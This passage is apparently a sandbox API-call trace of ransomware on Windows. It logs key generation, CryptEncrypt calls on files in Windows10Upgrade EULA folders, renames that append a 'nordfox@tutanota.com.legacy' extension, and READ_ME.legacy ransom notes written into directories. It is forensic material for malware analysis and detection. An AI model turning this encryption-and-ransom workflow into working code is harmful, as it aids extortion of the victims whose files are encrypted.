lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3de0d [0124.735] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0124.736] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0124.736] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0124.736] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0124.737] CloseHandle (hObject=0x6d0) returned 1 [0124.737] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0124.737] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0124.737] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0124.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0124.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0124.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0124.739] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0124.739] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0124.739] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0124.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0124.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0124.739] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm", dwFileAttributes=0x80) returned 1 [0124.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0124.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0124.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0124.740] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0124.741] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=110445) returned 1 [0124.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1af6d) returned 0x2e41f30 [0124.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1af6d) returned 0x2e5cea8 [0124.742] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x1af6d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x1af6d, lpOverlapped=0x0) returned 1 [0124.833] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-110445, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.833] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e5cea8*, nNumberOfBytesToWrite=0x1af6d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e5cea8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1af6d, lpOverlapped=0x0) returned 1 [0124.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0124.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e5cea8 | out: hHeap=0x520000) returned 1 [0124.835] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1af6d [0124.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0124.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0124.836] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0124.836] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0124.837] CloseHandle (hObject=0x6d0) returned 1 [0124.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0124.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0124.837] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0124.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0124.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0124.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0124.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0124.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0124.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0124.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0124.839] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd550ad7c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566b98 [0124.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0124.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0124.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0124.839] GetLastError () returned 0x0 [0124.839] SetLastError (dwErrCode=0x0) [0124.839] GetLastError () returned 0x0 [0124.839] SetLastError (dwErrCode=0x0) [0124.839] GetLastError () returned 0x0 [0124.839] SetLastError (dwErrCode=0x0) [0124.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0124.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0124.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0124.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0124.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567198 [0124.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567198 | out: hHeap=0x520000) returned 1 [0124.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0124.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0124.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0124.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0124.840] FindNextFileW (in: hFindFile=0x566b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd550ad7c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0124.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0124.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0124.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0124.840] GetLastError () returned 0x0 [0124.840] SetLastError (dwErrCode=0x0) [0124.840] GetLastError () returned 0x0 [0124.840] SetLastError (dwErrCode=0x0) [0124.840] GetLastError () returned 0x0 [0124.840] SetLastError (dwErrCode=0x0) [0124.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0124.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0124.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0124.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0124.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567098 [0124.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567098 | out: hHeap=0x520000) returned 1 [0124.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0124.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0124.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0124.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0124.841] FindNextFileW (in: hFindFile=0x566b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="css", cAlternateFileName="")) returned 1 [0124.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0124.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0124.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0124.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0124.841] GetLastError () returned 0x0 [0124.841] SetLastError (dwErrCode=0x0) [0124.841] GetLastError () returned 0x0 [0124.841] SetLastError (dwErrCode=0x0) [0124.841] GetLastError () returned 0x0 [0124.841] SetLastError (dwErrCode=0x0) [0124.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0124.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0124.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0124.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0124.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0124.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0124.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0124.842] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0124.842] GetLastError () returned 0x0 [0124.842] SetLastError (dwErrCode=0x0) [0124.842] GetLastError () returned 0x0 [0124.842] SetLastError (dwErrCode=0x0) [0124.842] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0124.842] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0124.842] GetLastError () returned 0x0 [0124.842] SetLastError (dwErrCode=0x0) [0124.842] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e70c8 [0124.842] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4 [0124.843] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e70c8 | out: hHeap=0x520000) returned 1 [0124.843] WriteFile (in: hFile=0x6d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0124.844] CloseHandle (hObject=0x6d4) returned 1 [0124.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0124.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0124.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0124.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0124.844] FindNextFileW (in: hFindFile=0x566b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea61ff59, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="js", cAlternateFileName="")) returned 1 [0124.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0124.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0124.844] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0124.844] GetLastError () returned 0x0 [0124.845] SetLastError (dwErrCode=0x0) [0124.845] GetLastError () returned 0x0 [0124.845] SetLastError (dwErrCode=0x0) [0124.845] GetLastError () returned 0x0 [0124.845] SetLastError (dwErrCode=0x0) [0124.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0124.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0124.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0124.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0124.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0124.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0124.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0124.845] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0124.845] GetLastError () returned 0x0 [0124.845] SetLastError (dwErrCode=0x0) [0124.845] GetLastError () returned 0x0 [0124.845] SetLastError (dwErrCode=0x0) [0124.845] GetLastError () returned 0x0 [0124.845] SetLastError (dwErrCode=0x0) [0124.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e70c8 [0124.845] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4 [0124.846] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e70c8 | out: hHeap=0x520000) returned 1 [0124.846] WriteFile (in: hFile=0x6d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0124.847] CloseHandle (hObject=0x6d4) returned 1 [0124.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0124.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0124.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0124.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0124.848] FindNextFileW (in: hFindFile=0x566b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd550ad7c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd550ad7c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd550ad7c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0124.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0124.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0124.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0124.848] GetLastError () returned 0x0 [0124.848] SetLastError (dwErrCode=0x0) [0124.848] GetLastError () returned 0x0 [0124.848] SetLastError (dwErrCode=0x0) [0124.848] GetLastError () returned 0x0 [0124.848] SetLastError (dwErrCode=0x0) [0124.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0124.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0124.848] FindNextFileW (in: hFindFile=0x566b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd550ad7c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd550ad7c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd550ad7c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0124.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0124.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0124.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0124.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0124.848] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x3268450e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566c18 [0124.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0124.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0124.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0124.849] GetLastError () returned 0x12 [0124.849] SetLastError (dwErrCode=0x12) [0124.849] GetLastError () returned 0x12 [0124.849] SetLastError (dwErrCode=0x12) [0124.849] GetLastError () returned 0x12 [0124.849] SetLastError (dwErrCode=0x12) [0124.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0124.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0124.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0124.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0124.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567218 [0124.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567218 | out: hHeap=0x520000) returned 1 [0124.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0124.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0124.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0124.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0124.849] FindNextFileW (in: hFindFile=0x566c18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x3268450e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0124.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0124.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0124.850] GetLastError () returned 0x12 [0124.850] SetLastError (dwErrCode=0x12) [0124.850] GetLastError () returned 0x12 [0124.850] SetLastError (dwErrCode=0x12) [0124.850] GetLastError () returned 0x12 [0124.850] SetLastError (dwErrCode=0x12) [0124.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0124.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0124.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0124.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0124.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567158 [0124.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567158 | out: hHeap=0x520000) returned 1 [0124.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0124.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0124.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0124.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0124.851] FindNextFileW (in: hFindFile=0x566c18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd587845c, 